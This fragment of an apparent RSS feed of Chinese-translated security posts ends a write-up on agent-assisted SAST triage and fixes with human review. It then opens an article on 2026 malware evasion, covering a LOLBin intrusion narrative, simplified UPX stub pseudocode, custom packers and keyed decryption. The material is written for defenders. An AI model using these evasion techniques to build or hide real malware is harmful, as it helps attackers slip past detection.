255);"><span leaf="">更快地完成验证与修复</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">经过漏斗筛选后留下的，是 high 和 critical 级别的发现项——它们大概率是真问题，且位于重要的代码仓库中。这些发现需要被验证并加以修复。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">传统流程很慢：安全工程师审查发现项，理解代码库，判断问题是否真实，撰写修复指引，提交工单；然后开发者切换上下文来实施修复，几周之后才能上线。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为此，我们改用了编码智能体。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们在 Github 工作流之上构建了一个智能体编排器。第一件事就是把 critical 级别的发现项自动转化为带结构化上下文的 Github Issue，其中包含代码链接、Semgrep 分析、严重性等级以及触发规则。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">验证</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Issue 创建之后，另一个工作流会拉起三个相互独立的编码智能体来分析该发现。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们之所以选择三个，是为了降低不确定性。奇数是有意为之：当智能体之间产生分歧时，编排器可以做出最终裁决，而不会陷入僵局。随着模型不断进步，达成共识的情况越来越普遍，但多智能体架构仍能抓出单个智能体自信给出的错误答案。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每个智能体的分析结果都会被汇总到 Issue 中。若达成共识，Issue 会被打上 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">true-positive</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">false-positive</span></code><span leaf="">标签。误报会立即关闭，并附上相应说明。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这套系统让我们得以自动分类剩下 29% 的 SAST 积压，结果如下：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">SAST weekly (100% Auto triaged)</span><span leaf=""><br/></span><span leaf="">Severity-based triage:                  29%</span><span leaf=""><br/></span><span leaf="">Semgrep false positive detection:       16%</span><span leaf=""><br/></span><span leaf="">Auto resolved (archived, code changes): 26%</span><span leaf=""><br/></span><span leaf="">Custom agent false positives:           18%</span><span leaf=""><br/></span><span leaf="">Custom agent true positives:            11%</span></code></pre><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">修复</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对于已确认为真实漏洞的发现项，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">true-positive</span></code><span leaf="">标签会触发一个智能体，自动创建分支、实施安全修复并发起 Pull Request。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该 PR 进入仓库正常的代码审查流程。开发者不再需要从一张安全工单和一个空白编辑器开始动手，而是直接审查一个已经内嵌了漏洞上下文的修复方案。随着编程智能体的普及本来就会产生更多 PR，工程师投入审查的时间已经多于编写代码——这一流程正好契合了他们当前的工作方式。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">闭环机制</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每天两次，一个工作流会检查 Semgrep 的周期性扫描是否已将该发现项标记为已修复 (即对应 PR 已合并)，随后自动关闭 Github 上对应的 Issue。仍处于开放状态的 Issue 会继续分配给一名安全工程师，由其负责跟进与修复关联的那个 PR。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">人工始终掌控全局</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">整个工作流以标签为驱动。最初，我们完全自主地决定何时启动验证、何时生成修复方案——做法是手动在 Issue 上贴特定标签来触发工作流。随着信心增长，我们逐步自动化了更多环节。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们的收获</span></h2><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">快速原型是关键。</span></strong><p><span leaf="">我们用了不到一个季度就把这套东西搭出来，在 Github 工作流之上率先在公司内部使用终端编码智能体。目标就是快速实验、快速迭代，而 GH 工作流作为原型平台表现出色。这次实践非常成功，让我们重新认识了 &#34;在拥有支持快速迭代的基础设施时，一个小团队能交付什么&#34;。需要注意的是：维护工作仍然由我们自己承担。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">工具中的 AI 功能有所帮助，但它们的失败方式是可预见的。</span></strong><p><span leaf="">我们审视过的每一项 AI 驱动功能，都需要评估它的失败模式。比如 Semgrep Assistant 在误报检测方面极为有用，但若在二次分析时盲目信任它，就会让我们高估风险。要把 AI 输出当作众多信号之一，并加上能检测偏差的反馈闭环。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">让自动化程度与风险等级相匹配。</span></strong><p><span leaf="">对低严重性发现项进行自动分类。监控 AI 驱动的关闭操作。在向关键仓库推送修复之前保留人工审核环节。投入人工注意力的成本，应当与出错时的影响范围成正比。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">可观测性至关重要。</span></strong><p><span leaf="">为每一项自动化决策配上 Slack 摘要、仪表盘、规则追踪和审计日志。我们在可观测性上的投入与自动化本身同等重要。</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">后续步骤</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们摸索出了一套适合自己的模式：对显而易见的问题激进地自动分类，仅对真正重要的事项创建工单，并由智能体在工单之上完成深度验证和修复。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们把这视为漏洞管理项目的基础，目前正在尝试把它的应用范围扩展到代码之外，并探索智能体在有效验证和修复各类安全问题时所需的上下文量。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.synthesia.io/post/scaling-vulnerability-management-with-ai-what-actually-worked">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2d867391&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495989%26idx%3D1%26sn%3Db1c45899a57009cf590e0e33ccc21dd7">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 08 May 2026 12:20:00 +0800</pubDate>
    </item>
    <item>
      <title>现代恶意软件内幕：2026 年规避技术正如何演进</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495988&amp;idx=1&amp;sn=278862a56d423a1b5ff006ea80d2dc57</link>
      <description>深入剖析 2026 年恶意软件规避检测的技术全景：从加壳与混淆、沙箱规避、就地取材（LOLBin），到分阶段载荷、行为绕过与复合攻击链，并给出现代 EDR/XDR 真正有效的检测思路与 SOC 实战建议。</description>
      <content:encoded><![CDATA[<p><span>Paritosh</span> <span>2026-05-07 19:13</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=878645b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSgRR5icCUQicnQPcfQPO8UIv3lxg1JRfJmW8I8S0skmJzpbYhrQ3cGfWDBrP6YibKhibUWSiaVCgJ84kWLaaUeMuQKhowaTFBqPnc1w%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>深入剖析 2026 年恶意软件规避检测的技术全景：从加壳与混淆、沙箱规避、就地取材（LOLBin），到分阶段载荷、行为绕过与复合攻击链，并给出现代 EDR/XDR 真正有效的检测思路与 SOC 实战建议。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://medium.com/@paritoshblogs/inside-modern-malware-how-evasion-techniques-are-evolving-in-2026-7b7626f074b3" target="_blank">https://medium.com/@paritoshblogs/inside-modern-malware-how-evasion-techniques-are-evolving-in-2026-7b7626f074b3</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Paritosh</span></p></td></tr></tbody></table><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">编写当今恶意软件的威胁行为者并不只是变得更聪明 — 他们已经把规避检测的能力工业化了。本文将从技术层面剖析其具体形态，并解释为何这应当重塑防御者的思维方式</span></h4><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你未曾察觉的那次入侵</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">凌晨 2:47。一名值夜班的一级（Tier 1）分析师看到 EDR 告警触发 — 一台财务工作站上启动了一个 certutil.exe 进程。常规事件。分析师进行核查：没有匹配到恶意哈希，网络日志中也没有已知的恶意域名，进程参数看起来无伤大雅。他们将其作为误报关闭，继续值班。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">六周之后，你聘请的事件响应公司已经驻场调查。结果发现，那次 certutil 调用是一场精心编排的入侵的第二阶段。第一阶段 — 三天前被打开的一份带宏的文档 — 早已建立了持久化并完成了环境侦察。真正的载荷始终未以可被识别的形式落盘：它通过 certutil 进行 URL 解码，从一个托管于已失陷的 Azure Blob Storage 实例上的加密 blob 反射加载至内存，并在几秒内注入到 svchost.exe 进程之中。整个沙箱分析报告呈现干净结果。签名数据库一无所获。而那位放过告警的分析师并非失职 — 他们只是在使用并非为今日恶意软件形态所设计的工具。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这并非假设。类似场景的各种变体，每月在全球企业环境中上演数百次。威胁格局已经发生根本性转变，攻击者在 2026 年所使用的技术，需要比当前多数蓝队所掌握的更深入的理解。本文正是防御工作所必需的那种技术深度剖析。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">加壳 vs. 混淆：两个被混用却不该混用的术语</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在讨论规避之前，我们需要厘清术语，因为把加壳和混淆混为一谈，会在实战中导致糟糕的分析判断。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">加壳（Packing）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">加壳是一种运行时解压或解密机制。加壳器把真正的载荷包裹在一段 stub 代码里 — 程序执行时，stub 会把原始代码解压或解密到内存中，然后将控制权转交给它。经典例子：UPX、MPRESS。其核心特征是：原始的二进制代码并不存在于磁盘上的文件中。对加壳后的文件做静态分析，看到的只有 stub。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">; UPX stub behavior (simplified x86 pseudocode)</span><span leaf=""><br/></span><span leaf="">PUSHAD                        ; save registers</span><span leaf=""><br/></span><span leaf="">MOV ESI, packed_data_addr     ; source: compressed payload</span><span leaf=""><br/></span><span leaf="">MOV EDI, output_buffer        ; dest: RWX region</span><span leaf=""><br/></span><span leaf="">CALL decompress_routine       ; inflate/decrypt</span><span leaf=""><br/></span><span leaf="">POPAD                         ; restore registers</span><span leaf=""><br/></span><span leaf="">JMP OEP                       ; jump to original entry point</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">检测加壳通常并不困难：高熵区段（&gt;7.0 bits/byte）、形如 UPX0 或 .text 但没有任何导入表的区段名，以及只剩 LoadLibrary 和 GetProcAddress 这种极小的导入表，都是明显的告警信号。诸如 PEID、Detect-It-Easy（DIE）和 Exeinfo PE 这样的工具，对付商业现成加壳器仍然可靠。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">危险的演进在于：定制加壳器。国家级行为体和成熟的犯罪软件团伙早已不再使用 UPX。他们编写每次构建都不同的私有 stub 代码，而且常常把环境特定的密钥（主机名哈希、域 SID）烘焙进解密例程中，这样载荷就只能在目标环境中被解开。提交给你的沙箱？解密出来的全是垃圾。这种做法被称为 _keyed decryption_（基于密钥的解密），如今已成为 APT 工具链中的标准实践。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: 